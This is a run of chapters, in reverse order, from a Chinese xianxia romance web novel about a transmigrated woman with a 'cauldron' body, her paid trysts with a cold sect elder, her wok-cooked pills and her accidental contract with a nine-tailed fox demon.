伸手揪起他一条又长又蓬,堪堪两只手合抱的尾巴。 “睁大你的眼睛看好了!到底是谁脏?” “跟个扫帚似的扫来扫去,搁这扫地呢!刚才都扫我衣裳上了,还特么掉毛!” 说罢,捏起一根毛举在他面前。 “掉毛!看到没有!” 风回雪浑身一震。 他不可置信的望着被少女握在掌心,随之乱晃的那条尾巴,狐狸眼渐渐睁的滚圆。 须臾后,磨着牙根,红着眼睛,朝她吐出夹杂一丝癫狂的几个字。 “女人!你死定了!” 下一刻,江献晚眼前一花,手里的尾巴嗖地一下不见。 只见狐狸精身后瘫着的尾巴嗖嗖嗖的,刹那间像是炸开了芦花。 呼呼一阵乱甩。 风回雪一把拽过她的脖领子,震怒之余,嗓音无不委屈。 “你竟然摸我?” “你可知道除了我娘谁都没摸过?!” “你摸的还是我高贵的尾巴?!” 说着,粗暴的扯过被江献晚抓过的那条尾巴,杵在她脸上。 “你知不知道摸尾巴代表什么?什么都敢摸是吗?你娘没教过你出门不要随便对别人动手动脚!” “尤其是尾巴!” “你死定了!你绝对死定了!” 江献晚看着戳在她脸上的尾巴尖,和男人暖玉般的骨指。 特别的冷香像是一把火星子泼溅在她身上,让她头昏脑胀,齿根发痒。 但是,她还没色胆包天到,对着一只狐狸想酱酱酿酿。 脑袋一抽,拽过他手里的尾巴,发狠咬下! “啊!” 一声惨烈的叫声,惊走两只树枝上互相啄羽的鸟。 伴随着五颜六色的光,两人身上同时落下一道法印。 齐齐愣在原地。 江献晚还保持着嘴里咬着尾巴的姿势。 风回雪两只手掌掐在她脖颈上,眼仁艰难的滚动,“方才那是什么?” 江献晚叼着毛,含糊不清,“不知道,我好像打了个激灵。” 她只是咬破了舌尖,默念契约灵兽的法诀,就把九尾狐给收了? 妈妈酱啊! 以后她就是有灵宠的人了! “激灵?!” 风回雪察觉妖丹突然多出一个金色的烙印,哆嗦着手狠狠拽出她嘴里的尾巴尖。 扒开沾着口水的毛一看,两排牙印冒着血珠。 险些当场昏过去。 抬手掐上她的脖子,脸色涨的通红,咬着牙,一字一句,皆吐她脸上。 “你知不知道我是谁!你竟然敢对我施下灵契!” “你死定了!” 他华裳骤然翻滚,闪着寒芒的獠牙森森现出,一气之下,凶狠的咬在那截细嫩的脖颈上。 “给爷死!” 呜呜呜…… 他堂堂呼风唤雨,未来妖域之帝,就被这么个弱唧唧的两脚兽给契约了? 天理何存! 苍天何在! 早知道刚才就不逗她,好好晒自己的太阳不香吗! 大司命不是说今日有大喜吗! 这就是大喜? 他屁颠屁颠赶到这里。 哪知道刚踏出妖域的门,屁股还没暖热,就被契约了? 还是个主仆契?! 她是主? 他是仆? 他一根脚趾就能碾死她! 凭什么! 风回雪牙齿发狠,恨不能将她咬死。 第8章 人族的丑东西 万一问的次数多了,小师叔烦了呢? 万一他一烦,就点头愿意去玩儿了呢? 或者心血来潮收个徒? 雾渺期待的看着他。 “否。” 男子薄唇轻启,指尖勾了长及足踝的银发挽在手肘。 留下一个字,举步进了侧殿。 “唉……” 雾渺再次失望而归。 长老们还在测灵根,他作为掌门需坐镇主持大局。 只是,怎么觉得好像忘了一件很重要的事。 到底是什么事呢? 雾渺想了想,想不出来,干脆抛在了脑后,走的痛快。 江献晚牙恨不能咬碎了! 嫖资! 嫖资啊! 你木有给我钱! 狗雾渺! 老娘一回不要,你果然赖账! 江献晚痛心疾首的滑坐在地面上,心窝子直抽抽。 雾渺方落座,连打三个喷嚏。 见诸位长老投来疑惑的目光,若无其事的理理衣袖,恰好摸到鼓囊囊的芥子囊。 唇角顿时抽了一下。 “坏了!嫖资没给!” 不过,下一刻,露出一抹意味深长的坏笑,慵懒的撑了面,继续看下面弟子测灵根。 且让她抓耳挠腮,惦记几日吧。 而另一边,江献晚靠在窗棂下,无力吐槽。 只觉浑身像是被一锅煮开的沸水熏蒸。 她勉强抬起虚软的手指,接过男子递来的丹药,塞进嘴里。 扯了扯裙子,努力平稳呼吸,装的云淡风轻,“多谢。” 看着满脸晶莹汗珠的少女,再掠过地上一片木头盒子,男子薄唇轻抿,不知何时单膝及地,微凉的指腹抹去她鬓角的汗珠。 江献晚此刻是狼狈的,咬着唇。 发丝黏在脸颊,侧颈。 眼前男子的靠近,更是让她痛苦万分。 尤其是扑面而来,如霜雪冰川的寒凉气息。 此刻对她来说,就像是酷暑里的雪糕。 又像是,浇在火焰上的一勺热油。 他再不走,她真的要闹了! 江献晚挤出一丝不走心的标志性微笑,礼貌赶人,“您有事,忙就好,不必管我。” 快走! 立刻! 马上! 就现在! 不然她不知道接下来会干出什么禽兽不如的事! 这人下了床不认人,冷性的很! 又有些绝望,早不发作晚不发作,偏偏四日一过,掐着点的发作了。 江献晚忍得辛苦。 她不知的是,自己骨头里的体香,竟是连发带都压制不住,逐渐浓郁,勾缠。 男子见她努力正襟危坐,态度疏离,唇角压出浅淡的委屈弧度。 他不用这个少女一再证明她的分寸。 “早早。” “你若想。” 江献晚忙摆手,截住他的话,“不!我不……唔……” 等她再次扶门而出,又是四日已过。 甚至没敢多看一眼后头的宫殿,抖着腿落荒而逃。 一步踏出传送阵,凌空点过树梢,飞向山门。 余光扫到弟子群中靓丽婉约,惹人注目的身影,身形未停,目不斜视,出了万古宗。 没有再去找雾渺领取嫖资。 就当这四日她是雇主,抵消了。 而药丸,方才她已经吃过。 这场利益交换,终于结束。 江献晚没有回望那圣洁震撼的万古宗一眼,很是干脆的扒了衣裙,换上干练的男士衣袍,陡然觉得从头到脚轻松无比。 仿佛逃出鸟笼的雀。 烟雨城的小院也不要了。 赶紧走! 不对! 飞起来! 女人的第六感一向很准,江献晚觉得方才一眼望见的那道身影,就是女主。 此时不走,更待何时。 密密实实的青翠竹林转出一个翩翩黑衣少年。 马尾高束,身如玉树,乌发雪肤,生得一副雌雄莫辨的美人面。 左等右等的雾渺,等来的不是江献晚的讨要嫖资。 弟子匆匆来禀报,双手呈上一封信、一把长剑。 正神色莫名,垂眸望着跪在地上少女的雾渺神色骤变,而后咬牙。 烟雨城盯梢的弟子久久等不到江献晚,眼看天色落幕,翻墙而入。 发现桌上一张纸,一块玉牌,一把剑。 纸上一行龙飞凤舞,随性洒脱的留字——世界辣么大,我想去看看,江湖不见。 雾渺修长的手指,狠狠压住跳的极为欢快的额角。 江早早,竟然跑了! 毫无预兆! 干脆利落! 好哇! 嫖资都不要了! 他轰然起身,不看地上仍跪着的少女,拿起剧烈抖动,似是在大哭的长剑,化作流光直奔巫云殿。 江献晚拍拍屁股走的干脆,买了匹马,昼伏夜出,一路向南。 玄古大陆,分两境三域。 三域乃妖域、魔域、界域。 两境为北境和南境。 又有二位帝尊。 其中一尊,便是这北境为首的万古宗掌门雾渺的小师叔,帝隐。 另一位,则是南境以太虚宗为首的太虚宗上任掌门,云为泽。 两尊旗鼓相当,两境旗鼓相当。 三域妖魔横行,不适合新手。 没错,她要去的是万古宗伸不到手,短时间内绝不会与女主有交集的南境。 没想到的是,马不停蹄赶了一个月,她竟然走错了路! 又恰巧遇到春潮期再次发作。 江献晚窝在草堆,满头大汗,双手环胸,虎视眈眈,死盯着眼前的男人。 哦不! 确切的来讲,是男妖! “你不要过来!” “你再过来我可就叫了!” 真该死! 她以为只要提防万古宗的人就好了,没想到撞上了一只法力高强,脑子有病的狐狸精。 这只死狐狸还不愿意放她走! 风回雪同样窝在草堆里,不紧不慢弹了弹洒金华裳上,根本不存在的灰尘。 支着一条长腿,手托着下颌,懒洋洋的上下打量她。 旋即,慢悠悠的吐出两句气死人不偿命的话。 “请问是谁给你的自信?” “就你这不男不女的模样,我会睡你?” 不过这少年长的确实挺漂亮的,还是个难得的炉鼎。 但他风回雪是靠炉鼎修炼的妖吗? 幸亏他是个狐狸精,差点被一个两脚兽比下去。 他白皙修长的手指对着自己,自上而下比划了一下。 “人族的丑东西,明明该叫的是我吧?” “你没有镜子,总该有尿吧?” 江献晚:“……”你特么能不能礼貌一点,信不信老娘呲你一脸。 好吧。 她承认这只九条尾巴的死狐狸,长的还真挺风骚的。 睫毛又长,肩宽腰窄,纤纤玉指,明艳勾人。 一举一动,连撩个头发丝都带着万种风情,像颗行走的大春药! 第7章 雾掌门,药! 他是不喜有多余的人,却并非石头心肠。 江献晚有些意外,不过还是拒绝了,“不用了,我让雾掌门找人送我回去就行。” 一来,药还没吃。 二来,她晒的豆角还在外头。 三来,今日是女主拜入万古宗的日子。 好像最后拜的还是避世不出,颇具神秘色彩的北帝尊。 她不想与女主之间产生任何交集。 只要雾渺能将她送回去,她肯定好好躲在家里,绝不出去乱跑。 江献晚自顾自联系上雾渺,刚喊了一声雾掌门,腕间忽然一紧,玉简便落在了一只寒玉般的手中。 她睫毛轻抬,眉不由得轻轻蹙起。 下意识退后两步,若无其事的抽回手。 方才勉为其难可以当做只是客气一下,现在为何再次阻拦? 江献晚站立着不动,意思不言而喻。 并不想住在侧殿。 男子收起玉牌,转身行了两步,声音不高,回眸之间,阔袍闲逸,却自带无上威压。 “早早,不要让吾说第二遍。” 早早? 吾? 双重叠加,只一听,江献晚就知道这厮来真的。 不过,敢自称吾的,会是什么身份? 莫非是哪个闭关的前辈? 这些她无从打探,更不会有人为她解惑。 实际上,就算她抓着人问,一头银发的男子姓甚名谁,也不会有人回答她,只会敬而远之。 江献晚默默的望着那双沉静如冰雪的眼瞳,抿着唇角,依旧不说话。 提上裤子吾吾吾! 片刻后,率先败下阵来。 轻轻一点头,客气疏离道:“那便叨扰了,只是还请您同雾掌门说一声,药还没吃。” 什么都可以忘,就是不能忘记吃药。 男子脚步微微凝顿于殿前,回眸看向那神色冷漠的少女。 抬步之际,宽袖轻拂,发出一声略响的关门声。 江献晚:“……” 突然生哪门子气? 这才注意到他赤着脚,外袍穿的好像有些着急,松挽披着,坦露出一痕精悍的腰腹,面具似乎也歪了一些。 江献晚挠了挠脸,纠结的看了一眼高耸入云的雾顶峰,转身磨磨蹭蹭去侧殿。 侧殿布局简约,三面书架摆放整齐。 视线掠过桌案,落在那张临时休憩的软榻,还是很满意的。 她以为这个男人会让她睡地。 榻虽然小了一些,窄了一些,好歹可以栖身。 不过她现在顾不得能不能睡,睡在哪里。 惊恐的发现自己的身体好像越来越虚弱,越来越热。 江献晚当即盘腿坐在地上,掏出储物袋,将里面的东西一股脑倒出来。 这些都是她这一年来炼制的丹药,没想到这么快就派上了用场。 就是不知道会不会有点用处。 随手扣了一块嚼吧嚼吧吞咽下去。 几分钟过去,江献晚觉得更热了。 扯了扯衣襟,再次打开另一个盒子。 一连吃了十几种药。 从端坐到平躺。 江献晚出了一身汗,毛毛虫般在地面上沽涌来沽涌去,试图找一块最凉快的地板。 他应当不会来侧殿,那……脱一两件衣裳也没事吧? 想到这里,江献晚觉得更热了。 绝望的是,她竟然开始想那个男人的身子! 察觉到这个很不好的想法,果断伸手在大腿上狠狠拧了一把。 “疼……” 江献晚的泪珠子瞬间断了线。 原来这便是春潮期。 她以为忍忍就能过去,却不想反应竟这般大,灵力也使不出十分之一。 甚至连四肢都开始绵软。 江献晚死死咬紧唇,咽下口中的呜咽,摸索着捞过几个盒子,看也不看抓起来往嘴里塞。 她已经不在乎会不会被药撑死,或是吃死。 这种感觉实在太难受,烧的肺腑都要穿了。 当她还在不死心的一口一口试下去的时候,殿外一道磁性如清泉的声音模糊的落入耳畔。 是雾渺。 雾渺今日穿的极为正式,头戴白玉冠,着白色云纹长袍,停在殿外。 袍身上繁复细腻的银色流云纹路,在阳光下仿若行云流水般,气度逼人。 只是头发丝略乱,看样子像是匆匆从新弟子大典上赶过来的。 江献晚听到他的声音,身子在玉砖上滚了几滚。 滚到墙边,奋力扒着窗台撑起半个身子。 “雾掌门,药!” 这玩意不及时吃不好,万一时间久了中奖怎么办。 话喊完,才注意到一人身姿清冷,拢着及地衣袖,从殿中走了出来。 江献晚默默闭上嘴,默默缩下脑袋。 雾渺听到声音,视线转了过来,正好看见一颗乌发凌乱的脑袋沉下去,唇角不由得抽搐了一下。 太阳打西边出来了,这个守财奴第一次见他,竟然说的不是嫖资二字。 不过,都这时候了,还不忘吃药,真就让人挺无语的。 雾渺正要过去给她送药,见忽然伸到面前的手,有些错愕。 几个意思? 男子没说话,仍伸着手,面色是万年不变的冷淡。 雾渺傻愣愣的把药乖乖递给他,见他转身,回神道:“她既然身子不便,我先带她去雾顶峰,等这几日过去,再让她离开。” 小师叔不喜多余的人来巫云殿,哪怕是他,也很少来。 秽气压下,定然不想江献晚待在这里。 “不必。”男子掀开睫帘,不容反驳。 雾渺面色微变,神情错愕,“不必?” 什么叫不必? 江献晚现在情况是很特殊,可小师叔何时懂得体贴在乎人了? 本来就是一场利益的交换。 转念一想,又觉得没问题。 小师叔不喜别人碰他的东西。 江献晚这几日身体虚弱,且会很想与人…… 若是真出了意外,哪怕旁人见到她这副样子,小师叔定然也不喜。 所以,就算他们之间没感情,只要江献晚和他在一起一天,都必须从头到脚干干净净。 而方才,少女只露出一个脑袋,脸颊酡红,鬓角汗湿,乌发凌乱的样子,显然不便被旁人看见。 雾渺点点头,又追上一步,低声问出了最紧要的事,“小师叔,您今年出去吗?” 每三年新弟子入门大典的时候,他都会过来问一句。 虽然得到的是从来不变的结果,不过雾渺仍抱着一分希望。 第6章 第一次春潮期 江献晚的腰很细,漂亮的长发可以将腰身遮挡的严严实实。 想到这里,他目光不由自主落在隐于层层叠叠衣裙下,却仍能轻而易举描绘出修长纤直的双腿。 一双优美精致的足,如丹青描绘,垂在深赭色的被褥,比雪纱还要洁白细腻。 红着耳尖,又落在了一双傲人的线条上。 他修的是无情道,自问不是重欲之人,却也承认江献晚是个异常合格的炉鼎。 第一次,江献晚是戴着人皮面具来的。 凝视着那双清澈见底的眸子,他擅自的揭开了她脸上的人皮面具。 少女初次,正疼痛难忍。 陡然惊的与他对视,而后无可奈何的捂上了他的眼。 他没躲开。 第一次道歉,觉得自己确实过分。 少女显然不想让他瞧见真容的。 只是,他不喜欢她戴着面具。 那双漂亮的眸子和憨实的脸庞,委实不搭。 也承认自己做的不对,毕竟他每次都戴着。 第二次,江献晚最后像是很无奈,自己揭下了人皮面具。 因着体内的污秽之息,他控制不住,知道自己有些凶。 少女很能忍,咬着唇,细白的十指攥着被褥,一双明亮的眸子萦绕着水汽,也不会拒绝他。 更从不会仗着与他亲密,而提出任何要求。 事了后,困的眼睛都睁不开,也会立刻穿好衣裳,离开巫云殿。 绝不多待一秒。 很有作为炉鼎的觉悟。 只是最近,她来的越来越晚,很是敷衍。 他等着,便总觉得烦乱。 难道是因为,他何时等过人了? 男子眼底划过一丝微不可察的费解,缓缓往后一靠,却没松开她。 他这一靠,江献晚有些丈二和尚摸不着头脑,真诚的投去询问的目光。 刚才不是还猴急猴急的吗? 怎么突然一副没了兴趣的样子? 难道是不想了? 江献晚想了想,犹豫着起身。 不想便不想吧,反正她也不差最后一次嫖资。 只是她刚起到一半,一只骨节分明的手掌紧紧抚上了她的腰,握在掌中。 江献晚:“……”莫名有点小失望是怎么一回事? 她实在摸不透他的心思。 不做,还不让走。 真诚发问:“是有什么不妥吗?” “早早。” 他微微蹙起眉心,声线虽被情欲浸染的沙哑,依旧是沉寂的让人钦佩。 只是下一秒说出的话,让江献晚大跌眼镜。 他勾起少女胸前的一缕发丝,绕在指尖,神色仍是清淡的。 “你来。” 江献晚微微睁大了眸子。 这人很少喊她的名字,她估摸了几次,每次这么喊她的时候,就证明要遭老罪了。 没想到这次…… 看他认真的神色,江献晚尴尬地咬了咬唇。 单看他一身的气质,和在房事上绝对掌控者的进攻姿态,就能猜得出他平时定是高高在上惯的。 今日这是怎么了。 竟要她主动? 虽然熟悉对方的每一处,江献晚到底还是有些不自在的。 纠结着没动,抬起一双无辜的眼睛,试图改变他的念头。 男子一身气息紊乱,按捺不动,神色恹恹的,眼底分明又染着不该有的情欲。 “罚你晚来。” 晚来的江献晚:“……” 好吧。 她承认,她这几次确实有些敷衍了。 还不是因为太忙了。 住的地方又远,到万古宗御剑都要半个时辰,每次收到信已经很努力的在赶了。 可上次她不是晚走了半日吗? 怎么都算补上了。 小气,一点亏不吃。 江献晚心中吐槽归吐槽,碎影朦胧中,无奈的去解他腰间的腰封。 动作笨拙,不得章法。 男子呼吸随之急促,勾着少女乌发的手指,随着她笨拙生疏的动作,渐渐僵硬。 终于忍不住,将她掐举在腰腹。 这一次,江献晚足足昏过去了六次。 六次! 等她被一声冗长而清幽的钟声吵醒,纱帐里的光线早已亮堂的刺眼。 江献晚猛地睁开眼睛。 又又又特么起晚了! 江献晚立刻扭头。 意外的是,男人顶着半张银色面具,支颐着手臂侧目,一双淡若云烟的眸子,正细细的凝视着她。 若是忽略他仅穿着一层凌乱雪白的丝绸寝衣,单看那双空凉沉寂的眸子,怎么看都是没有七情六欲的神明。 人家确实没有七情六欲。 江献晚虽不知他为何没起身,眼看晌午将至,比上次结束的还晚。 连忙自顾自的逃离了不堪入目的阔榻,哆嗦着手指,以最快的速度穿衣。 宛如云海翻涌的纱帐外,少女飞快的穿好衣裙,整理妥帖,遮掩一身斑驳痕迹。 如往常一样平静的道了再见,自始自终再未回头。 甚至有些急切的推门,直接离开。 男子缓缓起身,锦被滑下,那双落满雪的眸子似乎更冷淡了些。 江献晚催动长剑,霎那间升至半空,她眉眼明媚潋滟,招呼道:“等等,走!” 速度嗖地提升到极致。 唇角的笑容还未彻底放大,下一秒,灵力陡空,身子一晃,眼前叠影晃动不休,直直从高空坠落。 春潮期! 江献晚苍白着脸,连忙在半空中调整姿势,准备摆个帅气的落地动作。 然而,不等落地,一只手臂悄无声息揽上了她的腰身。 事出突然,惊魂未定的眸子望向男子,眼底是掩饰不住的慌乱。 男子静静的望着她,手指从雪袖中探出,搭在她腕间,“早早,你暂时走不了。” 江献晚心怦怦直跳,努力缓解从高空坠落的恐惧。 离开他的怀抱,腿一软,差点跪在地上。 一双修长有力的手及时扶稳她。 男子动作间,领口略低微敞,露出可疑的抓痕。 江献晚挪开视线,起身站好。 又退后两步。 没忘,除了特殊期间,他不喜与任何人离的亲近。 “我走过去,或是让雾掌门派人接我。” 说着拿出传信玉简。 “早早。” 男子嗓音清冷,不急不缓,足以打断她的动作。 江献晚疑惑的看他。 “这几日特殊。” 他垂眸看着身形高挑,裹着一身浅蓝衣裙的少女,视线掠过那截雪白如脂膏的手腕,隐约一点浅色印痕。 简洁道:“去侧殿。” 第5章 最后一次 那一双双几乎射出一片小刀的眼神,还有各个咬牙切齿的狰狞程度。 以她的经验,绝对是来打pk的! 江献晚麻溜地抄起包袱,连同桌椅收回芥子囊。 一系列动作一气呵成。 “卧槽?”林玉锦挠挠头,还在迷茫,“怎么会有人叫这么奇怪的名字?” “卧兄,你……唉?我兄弟呢?” 等林玉锦被当作卖书的同伙,团团包围。 反应过来,哪里还有江献晚的人影! 江献晚连着三天都没敢出去摆摊,蹲在家里潜心捣鼓丹药。 她没有什么抑制春潮期这方面的丹方,全靠自己的感觉,觉得有用,就放一些。 刚开始她买过炼丹炉。 不知为何,每次炼丹,那些炼丹炉都没撑过十秒,炸的叫一个惊天动地。 搞得邻居投诉了好几回。 她以为那些太便宜,质量不太好,自己控制温度的能力还不够稳定。 忍痛花大价钱,买了一个顶好的。 结果,不仅炸的更快更狠,自己也差点成了人体碎片! 江献晚含着眼泪赔偿左邻右舍一笔不小的精神损失费。 于是,便买了一口铁锅,外加一把锅铲。 炼丹不就是把需要的灵药植扔进去,然后控制好温度,烧成丹药吗? 概括下来,这不就跟炒菜似的。 炒菜她专业啊! 这么一试,还真就成了! 江献晚系着围裙,站在大锅旁边,肉疼的捡起一株星痕草扔了进去。 锅中灰扑扑的不明状物,像是瞬间产生了什么剧烈的化学反应,眨眼间变成黑色。 一股清淡的香气溢散,隐隐有温润的光芒流转,这便是丹成的征兆。 江献晚又飞快的翻了两铲子,熄灭灶膛里的火。 铲起焦黑的一坨,抠下一块放进嘴里,砸吧两下嘴。 微辣。 下次多放点辣椒。 她将那团乌漆麻黑的药,铲到提前准备好的木头盒里。 躲在暗处的弟子,两眼一抹黑。 看的嘴角剧烈抽搐,无声连连干哕。 若是有炼丹师看见,定会痛心疾首的骂一声:有毛病! 人家炼出的丹都是一颗一颗,她炼的一坨一坨。 这也罢了。 人家都是用那种防止时间久了,药性会减弱的专门药瓶包装。 她倒好,跟铲屎似的,随便找个破盒子。 当然,江献晚也不是傻的。 将那一坨药狠狠按压进去,画了一道类似于真空包装作用的符纸贴上。 那男人传在她神识中的书类繁杂,有不少符箓方面的书籍。 她尝试着画了几次,觉得没什么难度,除了头有点晕。 做完这些,江献晚突然留下两行鼻血。 这几日试的药太多了,有点上火。 她头晕眼花的爬到竹椅上,仰着脸,掏出一块手帕堵上鼻子。 熟稔的忽略掉藏匿在暗处的气息,视线追着天上的大雁去了。 这样的日子其实还挺充实,不是炼丹画符修炼,就是卖书打架。 江献晚又去了万古宗两次,最后一次,心情很是感慨。 亦或者是,此次结束后,兴许再没有踏进万古宗的可能。 又或者是。 她虽不是万古宗弟子,一年下来,也算的上她熟悉的一个地方。 江献晚丝毫没有即将离开的伤感和不舍。 扫山梯的弟子,看了一眼她腰上的白色通行令牌,便扭过头,装作没看见。 显然得了上头的令。 江献晚也不理他,拾阶而上。 她从未仔细看过北境第一宗门的样子,每次来去匆匆。 脚下是宽有十几丈,玉石筑成的白玉台阶,看不到尽头。 两旁是瑶草奇花,茂林如锦。 转眸望去,高大的古树和繁茂的花草掩映着各峰的座座宫殿,光彩离离,霞光隐隐。 浓郁的灵气如云霞蒸蔚,笼罩着整个万古宗。 时有玄鹤丹羽,繁多仙禽,上下飞鸣,仿佛置身于仙境。 无一不彰显第一宗的豪气冲天! 这些,和她有什么关系呢? 又不能拿来卖! 江献晚的口水不争气的流了下来,眼泪汪汪的收回了渴望的目光。 暗自思忖,走的时候要不要偷偷挖点那座不知道叫什么名字的大殿下的灵脉。 眼看着再次急促波动的灵息,跟催命符似的,江献晚掏出长剑跳了上去。 巫山还是冰雪似的山,无名殿还是冰雪似的殿。 仿佛坐落云端。 江献晚撩开雪纱,就要进入内室。 一双遒劲有力的手臂,忽然从身后环抱住了她的腰,男人的下颌紧接着轻轻搁在她颈窝。 随之而来,是滚烫的呼吸。 江献晚被拦腰打横抱起。 雪纱无风自动,浩渺的云海般在眼中颠倒,露出一张宽大的床榻。 江献晚:“……” “别走了。” “什么?” 他额发沁着一层薄薄的细汗,腮边颈后,渗着熏熏然的桃花红。 低垂着墨色睫毛,神态专注,指腹抚过少女的眼尾,缓缓揭去人皮面具。 是一张绝色初显的脸。 望着少女黑亮的眸子盛满了不解,难得多说了一句,“睡侧殿。” 江献晚:“……” 当然,她不会自作多情的以为他是不是良心发现。 明摆着是嫌她每次都来的不够及时! 江献晚定了定神,拒绝,“不用了,我下次早点来。” 那是不可能滴! 这次过后,一别两宽,再也不见。 更别说来晚。 江献晚还是很期待,去其他地方走一走看一看的。 万古宗附近已经转腻了,又不敢跑远。 尤其三域,盛产妖魔,还真就有些向往的。 他并不意外江献晚会拒绝。 自然能感觉的出,少女好像是在履行什么宗门任务一样。 很有分寸,更不想同他多待片刻。 见少女长卷的睫毛微微的耷拉,晕开小扇的剪影,明显在走神,男子眼底划过一丝几不可察的黯色。 这会儿,虽然很难受,不知为何,反而想等一会儿。 不得不说,雾渺为他选的人很不错。 无论是哪方面,都很不错。 他本来是拒绝的。 在对上那双映出万物的眼睛,又仿佛空无一物,不沾一丝挂碍。 鬼使神差,竟应下了。 他不喜与人触碰,江献晚却很白,比他养的龙鲤还要白。 浑身上下几乎找不出一丝瑕疵,除了小腹的一点痣,在他看来,并不算瑕疵。 第4章 我叫林玉锦 江献晚唇角微微抽动,用一种看傻子的眼神看他。 身体很诚实,麻溜的将灵石收了起来。 虱子多了不嫌痒,谁还嫌钱少不是? 尤其少年身上的衣袍,绣织的金线那叫一个金光闪闪,晃的人眼睛都要瞎了! 有钱! 还傻! 江献晚立刻换上一副热情的笑脸,拉了把椅子给他,随手拿起一本书翻开。 “帅哥请坐,您真是很有眼光!” “请看这栩栩如生的插画,这跌宕起伏的感情线,都是我耗尽心血,日夜挑灯的杰作!” “相信我!买不了吃亏,买不了上当,入股绝对不亏!” 林玉锦被她一声帅哥喊的飘飘欲然,当即就坐下了。 随着她指尖点的位置仔细看去,着实惊艳。 “兄弟,还真别说,你的画功真是到了鬼斧神工的地步,我还以为你是符修呢!” “不敢不敢,再看这本!”江献晚得意扬眉,“这本是我花了三个月的心血,根据万古宗大长老的原型,呕心沥血,创作而成,已经卖了一千八百本了!” 林玉锦看的咋舌,唇瓣蠕动,欲言又止。 许久,压低声音,狗狗祟祟问道:“你不怕传出去,万古宗的人将你……” 他抬起手,搭在自己脖子上,比划了一下。 江献晚嘿嘿一笑,“实不相瞒,买的最多的就是万古宗弟子。” 别看那些万古宗弟子对她喊打喊杀,还来掀她的摊子。 只看掀完摊子,作出一副正气浩然的模样,没收她的书。 就知道这些人有多不要脸! 真是既要也要! 竟然想出个这么不要脸的办法,来白嫖她的心血! 太过分辣! 所以,她常跟他们打群架。 当然,世界上还是好人多。 大多都是偷偷摸摸扔了灵石,揣了书就走的。 其中不乏一些亲传和内门弟子。 穿着凡人的衣袍,左瞧右瞧,状似无意。 下一刻,找准时机,做贼似的刮到她的摊位前。 那一身正气凛然,仙气飘飘的气质,江献晚就当作自己眼瞎。 林玉锦沉默几秒,缓缓竖起大拇指,“兄弟,你是这个!” 敢在老虎屁股上养虱子,他喜欢! “不仅他,还有雾渺雾掌门。” 江献晚又拿起一本,热情介绍,“请看,光是这画,我就画了整整三天三夜!” 她可没说谎。 雾渺长得那叫一个人模狗样,卖的老好了,特意找人连夜印刷了一千本。 林玉锦仔细翻看,小脸通红,越看越入迷,“那个,这些我都要,你能不能给我便宜点?” “打折?”江献晚微微抬高了一些声音,似乎有些惊讶。 见她反应,林玉锦尴尬的摸了摸鼻子。 人家好歹冒着生命危险写出来的书,还配了这么多无与伦比,无法自拔的插画。 他张嘴就让人便宜,会不会过分了些,很不尊重别人的劳动成果? 正想说不用了。 江献晚忽然一拍他的肩,大气道:“我与你一见如故,打个折算什么,必须打骨折!就当交个朋友了!” 说完,狗狗祟祟从芥子囊中翻出两本书,压低声音道:“给!这两本还未出版的,送你了!” 林玉锦见她反应,知道定是什么不得了的绝世神作,迫不及待的接过来。 登时眉心一跳,失声卧槽:“你把我家帝尊和凤仪剑尊也写进去了!” 还写的这么销魂?! 他激动的翻了几页,神色越来越兴奋,越来越扭曲。 最后一拍大腿,“写的好!” 就是不知道,等出版了,有一日传到南帝尊和剑尊耳朵里,他们会不会亲自出山将写书的人宰了。 这少年,真特么是个天才啊! 简直一门心思、不遗余力、上蹿下跳、反复作死! 写北境的就算了,竟然连南境也不放过? 以后是不是还要把其他三域一起豁豁了? 不怕哪天混不下去,被两境三域通缉。 林玉锦不想错过这种难得的奇才,激动的一拍桌,果断道:“只要是你写的,都给我装两份,回去我要好好研究研究!” 回去他要好好收藏! 万一哪天这少年被两境三域通缉,如此色胆包天的书,怕是再无人敢写。 江献晚递给他一个志同道合的眼神。 “一共六十块。再出新书,我给你打八折。” “成!”林玉锦很满意,掏出一个芥子囊,大气的扒拉出一小堆灵石,“八十块!不用找了!” 一份收藏,另一份反复看。 不过想想她不要命的作死,林玉锦有些不解,“你这么拼命做什么?不怕哪天被他们追杀?” 闻言,江献晚无奈的叹了一口气,抬头眺望天际白云,摆出四十五度角忧伤。 “我得了绝症,需要一大笔钱治疗。” 说到这里,她故作坚强的苍白一笑,“兄弟,我只是想活下去。” “绝症?” 林玉锦微怔,神色渐渐复杂起来。 一副原来如此,痛心疾首的样子。 他拧眉思索了一会儿,认真而严肃地指着自己。 “我是林家人,你得了什么绝症,要不你跟我一起回南境,兴许有办法呢?” 江献晚不可谓不诧异。 南境八大家排名第一的林家? 这少年也忒热心肠了吧! 一脸我一定拼尽全力,帮你治好的坚定。 就没想过她有可能是骗他的,只是想借机宰他一把? 对于一个陌生少年突如其来的关心,江献晚眸光微微恍惚一瞬。 沉默片刻,摇了摇头,“不用了,我去万古宗看过了,他们的长老说只能好好养着。” 这句话当然是骗他的! 她怀疑,如果不骗骗他,下一秒他就能掐上她的手腕号脉。 尽管林家是炼丹世家,少年又傻的可爱,多一分保留还是好的。 听到连万古宗的长老都说只能好好养着,林玉锦的眼神更怜悯了。 想了想,从衣袖中摸出一枚玉简,语气很是认真。 “咱们交换一下灵息,若你以后有需要帮助的话,我可以为你炼制丹药!不收钱!” 江献晚更诧异了,指了指自己的鼻尖,“你要帮我炼丹?不收钱?” 这孩子已经不是傻,简直是脑子不好使啊! 她就是随嘴胡诌啊。 在他眼含催促和痛惜的目光下,江献晚还是拿出一枚玉简,交换了联系方式。 林玉锦松了口气,想到什么,不好意思的抓了抓头发,“对了,我叫林玉锦,还不知道你叫什么?” “我叫……” 江献晚猛然掀开睫毛,视线落在,神情凝肃,踩着长剑正向她疾驰而来,比比划划的十来个万古宗亲传弟子。 “卧槽!” 第3章 要不是看你长的帅 她已经规划好了逃跑路线,打算余生找个安全的地方苟着。 离女主越远越好。 江献晚再次想了想自己这具身子。 变异冰灵根,天赋异禀,凤毛麟角的天才。 奈何生了一副琉璃玉骨。 炉鼎样貌极美,可遇而不可求。 就连修真界强者都趋之若鹜,求而不得的终极修炼捷径。 更何况是千年一见的琉璃玉骨。 听闻,与炉鼎双修,事半功倍。 没有修为的可直接筑基,遇到瓶颈期,亦可轻而易举突破。 她第一次和那个男人双修,自己同样得到益处。 短短几日,突破他们口中所说的筑基。 江献晚终于心死,确信了雾渺的话。 只是炉鼎有一个致命的弱点。 那便是春潮期。 炉鼎身怀异香,样貌极美,十五岁前同常人无异,十五岁后,才会逐渐显露不同旁人的特点。 春潮期出现的时间,并无规律,发作前更是很难察觉。 随着修为越高,反应越大,一般大约为五日左右。 